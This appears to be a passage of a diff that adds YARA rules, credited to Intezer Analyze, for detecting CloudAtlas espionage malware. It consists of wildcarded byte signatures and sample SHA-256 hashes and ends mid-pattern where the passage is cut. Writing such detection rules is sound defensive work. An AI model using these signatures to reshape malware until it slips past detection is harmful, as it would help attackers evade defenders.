+		$block_12 = { B1 ?? 89 ?? 8B ?? ?? ?? F6 ?? BA ?? ?? ?? ?? 89 ?? 31 ?? 0F B6 ?? F7 ?? 8D ?? ?? 88 ?? 04 ?? 88 }
+		$block_13 = { D0 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? D3 ?? 85 ?? 0F 85 }
+		$block_14 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 8D ?? ?? 83 ?? ?? 0F 86 }
+		$block_15 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? C1 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 89 ?? BA ?? ?? ?? ?? FC C1 ?? ?? F3 ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_17 = { 5? 89 ?? 5? 89 ?? 5? 5? 83 ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 8B ?? ?? B8 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? F3 ?? BF ?? ?? ?? ?? 0F 97 ?? 0F 92 ?? 38 ?? 74 }
+		$block_19 = { 8B ?? ?? B8 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? F3 ?? BF ?? ?? ?? ?? 0F 97 ?? 0F 92 ?? 38 ?? 75 }
+		$block_20 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_21 = { 8B ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_22 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_23 = { 8B ?? ?? 8B ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_24 = { B9 ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_25 = { 8D ?? ?? ?? 89 ?? 31 ?? F7 ?? 80 B? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_26 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_27 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_28 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_29 = { 8B ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? C1 ?? ?? BE ?? ?? ?? ?? 01 ?? 89 ?? ?? 0F B6 ?? 8B ?? ?? 29 }
+		$block_30 = { BF ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_31 = { C7 ?? ?? ?? ?? ?? ?? 29 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_32 = { B9 ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_33 = { 89 ?? B3 ?? F6 ?? BA ?? ?? ?? ?? 89 ?? 31 ?? 0F B6 ?? F7 ?? 88 ?? 04 ?? 3C ?? 88 ?? ?? ?? 74 }
+		$block_34 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? 01 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_36 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_37 = { 8D ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_38 = { 8B ?? ?? 0F B6 ?? 01 ?? 4? 0F B6 ?? 83 ?? ?? 30 ?? 88 ?? 88 ?? FF 4? ?? 8B ?? ?? 39 ?? ?? 74 }
+		$block_39 = { 0F B6 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FE ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 75 }
+		$block_40 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_41 = { B9 ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_42 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_43 = { 0F B6 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_44 = { 8B ?? 8D ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_45 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_46 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_47 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 89 ?? 0F 84 }
+		$block_48 = { 89 ?? 31 ?? FC C1 ?? ?? F3 ?? 89 ?? C1 ?? ?? 31 ?? 8B ?? ?? 89 ?? 29 ?? 83 ?? ?? 89 ?? EB }
+		$block_49 = { 89 ?? 31 ?? FC C1 ?? ?? F3 ?? 8D ?? ?? ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 76 }
+		$block_50 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_51 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 89 ?? 0F 84 }
+		$block_53 = { 8D ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_54 = { 8B ?? ?? 89 ?? ?? 89 ?? ?? 01 ?? 89 ?? ?? 8D ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_55 = { 8B ?? 83 ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_56 = { 8D ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_57 = { 8B ?? ?? 8D ?? ?? 0F B6 ?? 4? 83 ?? ?? 32 ?? 88 ?? 88 ?? FF 4? ?? 8B ?? ?? 39 ?? ?? 0F 84 }
+		$block_58 = { C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_59 = { 8B ?? ?? 89 ?? 03 ?? ?? 0F B7 ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? 0B ?? ?? 74 }
+		$block_60 = { 66 ?? ?? ?? 31 ?? ?? F9 9B 4? 6A ?? C1 ?? ?? ?? ?? ?? ?? A2 ?? ?? ?? ?? 28 ?? ?? EF 77 }
+		$block_61 = { E8 ?? ?? ?? ?? 4? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 39 ?? 0F 8F }
+		$block_62 = { 8B ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_63 = { 8B ?? ?? ?? ?? ?? 01 ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_64 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_65 = { 8D ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_66 = { B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_67 = { 80 F? ?? 0F B6 ?? 0F B6 ?? ?? 19 ?? C1 ?? ?? 83 ?? ?? 09 ?? 8D ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_68 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 29 ?? 0F 84 }
+		$block_69 = { 8B ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_70 = { 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_71 = { FC 31 ?? B9 ?? ?? ?? ?? 89 ?? F3 ?? 8B ?? ?? FF 5? ?? BA ?? ?? ?? ?? 85 ?? 89 ?? ?? 74 }
+		$block_72 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? 83 ?? ?? 8D ?? ?? 29 ?? ?? 39 ?? 89 ?? ?? 89 ?? 0F 87 }
+		$block_73 = { 8D ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 3B ?? ?? 0F 87 }
+		$block_74 = { 0F B6 ?? ?? BA ?? ?? ?? ?? 4? 89 ?? 31 ?? C6 ?? ?? ?? ?? 8D ?? ?? F7 ?? 88 ?? 04 ?? 88 }
+		$block_75 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_76 = { 8B ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_77 = { 89 ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_78 = { 5? B8 ?? ?? ?? ?? 89 ?? 5? 5? 5? 83 ?? ?? F6 ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 0F 85 }
+		$block_79 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_80 = { 0A ?? ?? ?? 4? 88 ?? F6 ?? 08 ?? C0 ?? ?? 34 ?? 0F B6 ?? 01 ?? ?? ?? ?? ?? 39 ?? 75 }
+		$block_81 = { 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_82 = { 8B ?? ?? 0F B6 ?? 83 ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_83 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_84 = { 8B ?? ?? 89 ?? ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_85 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 81 C? ?? ?? ?? ?? 39 ?? 0F 87 }
+		$block_86 = { 5? 89 ?? 81 E? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_87 = { 8D ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_88 = { 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_89 = { 8B ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_90 = { 8B ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_91 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_92 = { 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_93 = { 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_94 = { 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_95 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_96 = { 8B ?? ?? 83 ?? ?? 89 ?? C1 ?? ?? F6 ?? ?? 8D ?? ?? 89 ?? ?? 8D ?? ?? FC F3 ?? 0F 84 }
+		$block_97 = { 0F B6 ?? ?? ?? 89 ?? 0F B6 ?? 29 ?? 84 ?? 89 ?? 0F 94 ?? 39 ?? 0F 92 ?? 08 ?? 4? 74 }
+		$block_98 = { 89 ?? 83 ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 0F 8E }
+		$block_99 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1" or
+		hash.sha256(0, filesize) == "9e854d40f22675a0f1534f7c31626fd3b67d5799f8eea4bd2e2d4be187d9e1c7" or
+		hash.sha256(0, filesize) == "f30a0fe494a871bd7d117d41025e8d2e17cd545131e6f27d59b5e65e7ab50d92" or
+		hash.sha256(0, filesize) == "9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17" or
+		hash.sha256(0, filesize) == "d6097e942dd0fdc1fb28ec1814780e6ecc169ec6d24f9954e71954eedbc4c70e" or
+		12 of them
+}
+
+rule CloudAtlasPayload {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 0F B7 ?? ?? 8B ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? EB }
+		$block_1 = { 6A ?? 8B ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_2 = { 8D ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_3 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_4 = { 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_5 = { 8B ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 81 C? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 68 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? 8B ?? ?? 03 ?? ?? 3B ?? 0F 83 }
+		$block_9 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_10 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_11 = { 0F B7 ?? ?? 0F B7 ?? ?? 8B ?? ?? 03 ?? ?? 3B ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "34905d840bbfbbc555dfd280b383e2c00d4c7987be71067ad7152b26f06d2cd0" or
+		12 of them
+}
+
+rule CloudAtlasLoader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? F3 ?? A4 C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 